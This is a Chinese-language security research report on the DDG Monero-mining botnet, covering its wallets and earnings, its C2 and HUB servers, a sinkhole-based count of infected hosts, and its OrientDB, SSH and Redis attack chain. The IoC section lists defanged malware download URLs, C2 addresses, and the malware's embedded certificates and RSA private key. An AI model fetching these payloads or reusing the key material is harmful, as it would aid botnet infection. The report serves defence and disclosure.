\nhxxp://218.248.40.228:8443/i.sh  \nhxxp://218.248.40.228:8443/ss22522.2  \nhxxp://218.248.40.228:8443/ss2480.1  \nhxxp://218.248.40.228:8443/ss2480.2  \nhxxp://218.248.40.228:8443/wnTKYg  \nhxxp://202.181.169.98:8443/2011/ddg.i686  \nhxxp://202.181.169.98:8443/2011/ddg.x86_64  \nhxxp://202.181.169.98:8443/i.sh  \nhxxp://202.181.169.98:8443/ss22522.2  \nhxxp://202.181.169.98:8443/ss2480.1  \nhxxp://202.181.169.98:8443/ss2480.2  \nhxxp://202.181.169.98:8443/wnTKYg  \nhxxp://218.248.40.228:8443/imWBR1  \n"}],["code",{"code":"-----BEGIN CERTIFICATE-----\nMIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3  \nZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV  \nBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w  \n9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD  \nCAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE  \nQll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy  \nEZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE  \nG5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR  \nSKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC  \nniH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz  \nN9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX  \n/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh\nMon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp  \nJmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS  \nuDpcOCRjJg==  \n-----END CERTIFICATE-----\n"}],["code",{"code":"-----BEGIN CERTIFICATE-----\nMIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV  \nBAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER  \nMA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB  \nAQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK  \nTnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX  \n5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI  \noRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD  \nx++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx  \ngK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe  \noZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV  \nHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH  \nOh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg  \npfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6  \nCax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs  \ndoWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF  \ntEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP  \n-----END CERTIFICATE-----\n"}],["code",{"code":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc  \nAWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z  \nmbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm  \nVeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj  \nCdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF  \noOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv  \nQkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY  \nR8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV  \n7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN  \nZ+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH  \np9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh  \nOZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK  \nOiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV  \n+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP\nqpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma  \nnNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv  \nJeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec  \neoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k  \ny6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE  \nHxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN  \n6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8  \ncaN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf  \nz9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek  \nO+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G  \npEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk  \n-----END RSA PRIVATE KEY-----"}]],"markups":[["strong"],["a",["href","__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/"]],["a",["href","https://monero.crypto-pool.fr/"]],["a",["href","https://blogs.securiteam.com/index.php/archives/3318"]],["code"],["a",["href","https://github.com/xtaci/smux/blob/ebec7ef2574b42a7088cd7751176483e0a27d458/session.go#L284"]],["a",["href","__GHOST_URL__/file/ip_hublist__2011.txt"]],["a",["href","__GHOST_URL__/file/ip_hublist__2020.txt"]]],"sections":[[1,"p",[[0,[],0,"从 2017-10-25 开始，我们监控到有恶意代码在大规模扫描互联网上的 OrientDB 数据库服务器。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币（XMR，Monero CryptoCurrency）。我们将其命名为 "],[0,[0],1,"DDG 挖矿僵尸网络"],[0,[],0," （DDG Mining Botnet，以下简称 DDG） ，主要原因是因为其核心功能模块的名称为 DDG。"]]],[1,"p",[[0,[],0,"DDG 累积挖取的门罗币数目较大。目前我们能够确认该僵尸网络累积挖取的已经超过 "],[0,[0],1,"3,395枚门罗币"],[0,[],0,"，按当前价格折合"],[0,[0],1,"人民币 ￥5,821,657"],[0,[],0," 。另外因为矿池记账系统的问题，有2,428枚 XMR不能完全确认是否归属 DDG，按当前价格折合人民币 ￥4,163,179。DDG 是目前我们视野范围内门罗币收益第二大的僵尸网络，第一大的是我们之前报告的 "],[0,[1],1,"MyKings"],[0,[],0," 僵尸网络。"]]],[1,"p",[[0,[],0,"DDG 的结构上，除了僵尸网络中常见的 C2 和 bot，还有一个很有意思的 HUB 的设定。HUB 是一组 IP或者域名，用来提供挖矿二进制程序的下载。在 DDG 持续的更新过程中，其 v2011 版本的 HUB 列表中，有两个域名被列出但是未被注册，我们抢先注册并Sinkhole了这两个域名。虽然我们不可以通过这两个域名 Sinkhole 来接管该僵尸网络，但是可以基于 Sinkhole 数据对整个 DDG 僵尸网络的规模做一个精确的度量。"]]],[1,"h4",[[0,[0],1,"DDG Mining Botnet 的挖矿收益"]]],[1,"p",[[0,[],0,"DDG 在挖矿时使用如下矿池地址："]]],[3,"ul",[[[0,[2],1,"https://monero.crypto-pool.fr/"]]]],[1,"p",[[0,[],0,"其使用的钱包地址有三个，如下："]]],[3,"ul",[[[0,[0],1,"Wallet #1"],[0,[],0," 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg"]],[[0,[0],1,"Wallet #2"],[0,[],0," 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1"]],[[0,[0],1,"Wallet #3"],[0,[],0," 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"]]]],[1,"p",[[0,[],0,"其中，Wallet #3 是最先开始活跃的钱包地址，高峰期在 2017.02～2017-03；随后是 Wallet #1，持续了2017一整年； Wallet #2 是最近出现的，我们首次观察到的时间是 2018-01-03。"]]],[1,"p",[[0,[],0,"全部三个钱包的收入如下表所示，共计收入 3395 或者 5760 的门罗币，这些代币今天价值人民币 "],[0,[0],1,"580万"],[0,[],0," 或者 "],[0,[0],1,"980万"],[0,[],0,"。注意：在第二个钱包付费记录中，\"Total Paid\"与逐笔交易累积得到的 \"Amount Summary\" 并不一致，我们无从确认哪个数字更准确，因此把两个数字都记录了下来。"]]],[10,0],[1,"h4",[[0,[0],1,"DDG Mining Botnet 的攻击阶段和结构划分"]]],[1,"p",[[0,[],0,"通过分析样本及其行为，我们能够描绘 DDG Mining Botnet 的攻击过程如下："]]],[10,1],[1,"p",[[0,[],0,"上图中，DDG Mining Botnet 的攻击过程可以分为几个阶段："]]],[3,"ul",[[[0,[0],1,"扫描阶段"],[0,[],0,"：攻击者（ ss2480.2 ）利用 OrientDB 数据库的已知 RCE 漏洞，投入攻击载荷；"]],[[0,[0],1,"第一阶段"],[0,[],0,"：攻击者修改本地 Crontab 定时任务，下载执行主要服务器上的 i.sh ( hxxp://218.248.40.228:8443/i.sh) ，并保持每 5 分钟同步。此 i.sh 会继续从同一服务器上下载运行 ddg 样本"]],[[0,[0],1,"第二阶段"],[0,[],0,"：ddg 会依次连接内置 "],[0,[0],1,"hub_iplist.txt"],[0,[],0," 文件里的 hub_ip，然后从可以成功连接的 hub_ip 上下载对应的 Miner 程序 wnTKYg（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。这个程序的命名，恰好是其钱包地址的尾部。"]],[[0,[0],1,"挖矿阶段"],[0,[],0,"：Miner 程序开始与矿池通信，利用失陷主机的计算资源，为攻击者的钱包开始挖矿。"]]]],[1,"p",[[0,[],0,"上述结构中，除了僵尸网络中常见的 C2 和 bot 以外，还有一个很有意思的 "],[0,[0],1,"HUB"],[0,[],0,"。攻击者使用 HUB 上的多个IP或者域名来提供挖矿程序的下载。我们观察到 DDG 运营者会不时更新这些 HUB 的IP和域名，来源大部分是失陷主机。全部的 HUB 列表见文末。"]]],[1,"p",[[0,[],0,"关于这个 "],[0,[0],1,"HUB"],[0,[],0," 另一个有意思的地方，是我们注意到 v2011 版本中三个域名中的两个在当时是未注册的，如下。这两个域名被我们注册并 Sinkhole，后来我们意识到，我们可以通过这两个 HUB Sinkhole 上的到的数据来精确度量整个 DDG 僵尸挖矿网络。"]]],[3,"ul",[[[0,[],0,"defaultnotepad567[.]com"]],[[0,[],0,"unains1748[.]com 未注册"]],[[0,[],0,"5dba35bsmrd[.]com 未注册"]]]],[1,"p",[[0,[],0,"下面我们分别介绍 DDG 僵尸网络的 C2， HUB， 和 Bot。其中 Bot 部分的数据，会使用来自Sinkhole 的数据。"]]],[1,"h4",[[0,[0],1,"DDG 僵尸网络的 C2"]]],[1,"p",[[0,[],0,"DDG 僵尸网络使用如下 C2 保持对设备的长期控制："]]],[3,"ul",[[[0,[],0,"202.181.169.98:8443/i.sh"]],[[0,[],0,"218.248.40.228:8443/i.sh"]]]],[1,"p",[[0,[],0,"其中后者来自印度，AS9829，一直在使用，两年来没有变过；前者来自香港，AS7540，仅在早期短暂使用。"]]],[1,"h4",[[0,[0],1,"DDG 僵尸网络的 HUB，以及我们的 HUB Sinkhole"]]],[1,"p",[[0,[],0,"DDG 僵尸网络使用 "],[0,[0],1,"HUB_IP:8443\\wnTKYg"],[0,[],0," 提供挖矿程序下载。我们监控到的两个版本的 HUB 详细列表见文末 IoC 部分，其国家分布如下表所示。可见大部分受害者位于中国。"]]],[10,2],[1,"p",[[0,[],0,"如前所述，我们在监控其 v2011 版本的时候，发现其中两个域名没有注册，unains1748[.]com 和 5dba35bsmrd[.]com 。我们注册了这两个域名，合并到我们的 Sinkhole 池中，并几乎立刻看到有 IP 开始连接这两个域名，后来我们确认来连接的这些 IP 均是被 DDG 感染的主机。"]]],[1,"p",[[0,[],0,"这样至少我们可以利用 HUB Sinkhole 来度量 DDG 的规模。那么，我们的 Sinkhole 能看到 DDG 僵尸网络的多大部分呢，是盲人摸象看到一部分？还是全部？"]]],[1,"p",[[0,[],0,"我们仔细检查了 DDG 的运行机制，并且确认无论被感染的 bot 最终从 HUB 上的哪个部分下载挖矿程序，这些 bot 都会检查 HUB 上的全部 IP 和域名的连通性。这意味着，我们可以 "],[0,[0],1,"看到 DDG 全部的被感染设备"],[0,[],0,"，并进一步利用这些数据对 DDG 僵尸网络做精确的度量。"]]],[1,"p",[[0,[],0,"可惜的是，我们注册 Sinkhole 的行动被 DDG 运营者发现了，他们随后发布了 DDG 的更新版本，更新了全部的 HUB IP列表，将我们的 Sinkhole 从僵尸网络内部踢了出来。"]]],[1,"p",[[0,[],0,"另外一方面，从 bot 的代码逻辑来看，创造合适的条件，会使得被感染的 bot 尝试从我们的 sinkhole 下载并运行挖矿程序....嗯，这个话题我们就讨论到这里，白帽子一定要带头做遵纪守法的好公民。"]]],[1,"h4",[[0,[0],1,"DDG 僵尸网络的 Bot"]]],[1,"p",[[0,[],0,"我们可以使用 HUB Sinkhole 的数据来精确度量 DDG 僵尸网络的感染规模。为避免滥用，全部受害者 IP 列表不会公开。"]]],[1,"p",[[0,[],0,"我们共记录了4391 个受害者IP地址，来自各个国家，最主要的受害者集中在中国(73%)和美国(11%)："]]],[10,3],[1,"p",[[0,[],0,"从网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招。总体来看，因为 DDG 投入时是利用数据库服务器的错误配置或者漏洞利用，云服务厂商既往确实不容易防范。建议后续云服务厂商考虑加强这方面的防御措施。"]]],[10,4],[1,"p",[[0,[],0,"受害者一段时间内对上述 2 个域名的 DNS 请求趋势如下。尾部曲线快速下降，对应僵尸网络运营者更新版本的时段。"]]],[10,5],[1,"h4",[[0,[0],1,"利用 DNSMon 感知这三个域名的异常访问"]]],[1,"p",[[0,[],0,"我们的 DNSMon 也感知到了这三个域名的异常，下面两张图分别展示这三个域名流量访问曲线高度拟合，并且在访问时序上有强烈的相关性："]]],[10,6],[10,7],[1,"h3",[[0,[0],1,"DDG Mining Botnet 攻击过程详细剖析"]]],[1,"h6",[[0,[],0,"扫描"]]],[1,"p",[[0,[],0,"DDG Mining Botnet 的扫描和入侵阶段由样本 ss2480.2 完成。ss2408.2 首先会根据一定策略生成 Target IP 并扫描 Target IP 的 2480 端口，最后会利用 OrientDB 的 RCE 漏洞 "],[0,[3],1,"CVE-2017-11467"],[0,[],0," 实施入侵。"]]],[1,"p",[[0,[],0,"ss2480.2 会先扫描内网网段，然后扫描公网网段。生成的内网网段 Target IP 范围如下："]]],[3,"ul",[[[0,[],0,"10.Y.x.x/16 (Y 为当前内网 IP B 段的值)"]],[[0,[],0,"172.16.x.x/16"]],[[0,[],0,"192.168.x.x/16"]]]],[1,"p",[[0,[],0,"样本中生成内网 Target IP 的部分代码如下："]]],[10,8],[1,"p",[[0,[],0,"结束对内网的扫描之后，ss2480.2 会访问 hxxp://v4.ident.me 获取当前主机的公网 IP 地址 "],[0,[0],1,"WAN_IP"],[0,[],0," ，然后在 "],[0,[4],1,"WAN_IP/8"],[0,[],0," 范围内生成公网 Target IP 发起扫描。样本中生成公网 Target IP 时，会过滤掉保留地址段："]]],[10,9],[10,10],[1,"p",[[0,[],0,"样本利用漏洞最后执行的 Payload 如下："]]],[10,11],[1,"h6",[[0,[],0,"第一阶段"]]],[1,"p",[[0,[],0,"DDG 在 C2 （218.248.40.228 India/IN AS9829）上提供了云端配置文件： hxxp://218.248.40.228:8443/i.sh"]]],[1,"p",[[0,[],0,"该 i.sh 配置文件有多次变化，但是内容大同小异。下面是一个早期版本，其功能主要是："]]],[3,"ul",[[[0,[],0,"将本地 Crontab 内容与远程服务器上的 i.sh 保持同步"]],[[0,[],0,"从远程服务器下载 ddg 样本到本地并执行"]],[[0,[],0,"检查本地的 ddg 的历史版本进程，并杀掉"]]]],[10,12],[1,"p",[[0,[],0,"由 i.sh 脚本内容可知，攻击者只需更新其中的样本下载地址，便可以灵活地向失陷主机投放任意恶意软件。根据我们的监控，该云端配置文件确实会不定时更新，用以投放新版木马文件，或者投放集成新的攻击方式的恶意软件。其投递的恶意软件包括："]]],[3,"ul",[[[0,[0],1,"DDG 样本"],[0,[],0,"：即 ddg.$(uname -m) 系列样本，这是长期投递的攻击载荷，我们监测到 v2011、v2020 和 v2021 共 3 个大版本"]],[[0,[0],1,"ss22522"],[0,[],0," 系列样本：短时间内投递过，针对Struts2 漏洞 S2-052"]],[[0,[0],1,"ss2480"],[0,[],0," 系列：短时间内投递过，是针对 OrientDB 漏洞的攻击样本，正是这个样本在短时间内的大规模扫描暴露了自己"]]]],[1,"p",[[0,[],0,"另外，早期版本中 kill 命令前面没有 xargs，进程并不会真正被杀死，在后期版本上这个 xargs 被加了进去，修复了这个问题。"]]],[1,"p",[[0,[],0,"2018.1.3 日，攻击者上线了最新的 i.sh(v2021.2)，新增了另外一个挖矿木马 "],[0,[0],1,"imWBR1"],[0,[],0,"，正是该木马中内置了前文列出的第二个 XMR 钱包地址 :"]]],[10,13],[1,"h6",[[0,[],0,"第二阶段"]]],[1,"p",[[0,[],0,"ddg 样本中内置了一个 "],[0,[0],1,"hub_iplist.txt"],[0,[],0," 文件，其中包含了上百个 "],[0,[4],1,"hub_ip:8443"],[0,[],0," 的列表。经我们排查，这些 hub_ip 对应的主机，多是常规网站服务器，都被攻击者入侵而沦为攻击者的肉鸡。"]]],[1,"p",[[0,[],0,"在这个阶段，ddg 会依次尝试连接 hub_iplist.txt 里的 hub_ip，如果成功连接某个 hub_ip ，ddg 就会访问 "],[0,[4],1,"http://<hub_ip>:8443/wnTKYg"],[0,[],0," 下载对应的 Miner 程序 wnTKYg 并启动（如果本机 CPU 不支持 "],[0,[0],1,"AES-NI"],[0,[],0,"，还会下载 "],[0,[0],1,"wnTKYg.noaes"],[0,[],0,"）。ddg 尝试连接 hub_ip 的过程抓包如下： "]]],[10,14],[10,15],[1,"p",[[0,[],0,"所以在 ddg 从 hub_ip 下载 Miner 并启动后的 "],[0,[5],1,"KeepAlive"],[0,[],0," 阶段，就会每隔 10s 向已连接的 hub_ip 发 2 个数据包："]]],[10,16],[1,"h3",[[0,[0],1,"样本中内置的 hub_iplist.txt"]]],[1,"p",[[0,[],0,"i.sh 文件中的 ddg 样本下载 URL 是 "],[0,[4],1,"hxxp://218.248.40.228:8443/2011/ddg.$(uname -m)"],[0,[],0,"。ddg 文件V2011内置的 hub_iplist.txt 中有 158 个 hub_ip:8443 和 3 个 hub_domain:8443 列表，其中 2 个 Domain 未注册，然后被我们注册并 Sinkhole。"]]],[1,"p",[[0,[],0,"2017-11-10 我们发现 i.sh 文件内容有变化，ddg 样本最新的下载链接变成了 "],[0,[4],1,"hxxp://218.248.40.228:8443/2020/ddg.$(uname -m)"],[0,[],0," 。我们排查后发现是 ddg 内置的"],[1,[],0,0],[0,[],0,"hub_iplist.txt 内容有变化，估计是之前我们 Sinkhole 了黑客未注册的域名被他们发觉，他们重新上线了一批 hub_ip，替换掉了全部的 hub_ip。"]]],[1,"h3",[[0,[0],1,"DDG Mining Botnet 的攻击目标，还曾瞄准 Redis 数据库与 SSH 服务"]]],[1,"p",[[0,[],0,"以上分析中，DDG 的攻击目标集中在 OrientDB 上。"]]],[1,"p",[[0,[],0,"事实上，ddg 木马中的 "],[0,[4],1,"ddg.$(uname -m)"],[0,[],0," 系列样本还可以对 SSH 服务和 Redis 服务发起扫描&暴破攻击，这也是 ddg 一直以来入侵用户主机的主要手段。样本中内置的部分相关函数以及暴破字典如下两图所示："]]],[10,17],[10,18],[1,"p",[[0,[],0,"样本中还有内置的 3 个 x509 证书 / 密钥文件如下："]]],[3,"ul",[[[0,[],0,"slave.pem"]],[[0,[],0,"ca.pem"]],[[0,[],0,"slave.key"]]]],[1,"p",[[0,[],0,"详细内容见文末 IoC 部分。"]]],[1,"p",[[0,[],0,"回溯历史数据时，我们还能看到 i.sh 的 host 218.248.40.228 在更早期扫描 Redis 数据库的痕迹。互联网上也偶尔会有受害者曝光自己服务器中了 ddg 木马被用来挖矿。 下表是 218.248.40.228 在 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00 期间扫描端口的分布情况。"]]],[1,"p",[[0,[],0,"按照扫描次数排序，6379, 7379，2480, 三个端口分别 Redis, Redis(Replicas), OrientDB 数据库服务："]]],[10,19],[1,"h3",[[0,[0],1,"近况"]]],[1,"p",[[0,[],0,"北京时间 2018.1.25 日 21 点左右，"],[0,[4],1,"hxxp://218.248.40.228:8443/2011/ddg.x86_64"],[0,[],0," 的样本更新，MD5 为 "],[0,[0],1,"cbc4ba55c5ac0a12150f70585af396dc"],[0,[],0,"，是一个 Mirai 家族的样本。"]]],[1,"p",[[0,[],0,"Mirai C2 为 "],[0,[4],1,"linuxuclib.com:8080"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"另外一个硬编码明文 C2 "],[0,[4],1,"jbeupq84v7.2y.net"],[0,[],0," 目前在在DNS系统中没有配置解析IP地址。"]]],[1,"h3",[[0,[0],1,"IoC"]]],[1,"p",[[0,[],0,"C2:"]]],[10,20],[1,"p",[[0,[],0,"样本 MD5:"]]],[10,21],[1,"p",[[0,[],0,"样本下载链接："]]],[10,22],[1,"p",[[0,[],0,"ip_hublist(v2011): "],[0,[6],1,"ip_hublist__2011.txt"]]],[1,"p",[[0,[],0,"ip_hublist(v2020~v2021): "],[0,[7],1,"ip_hublist__2020.txt"]]],[1,"p",[[0,[],0,"三个 x509 证书/密钥文件："]]],[1,"p",[[0,[],0,"slave.pem"]]],[10,23],[1,"p",[[0,[],0,"ca.pem"]]],[10,24],[1,"p",[[0,[],0,"slave.key"]]],[10,25]],"ghostVersion":"3.0"}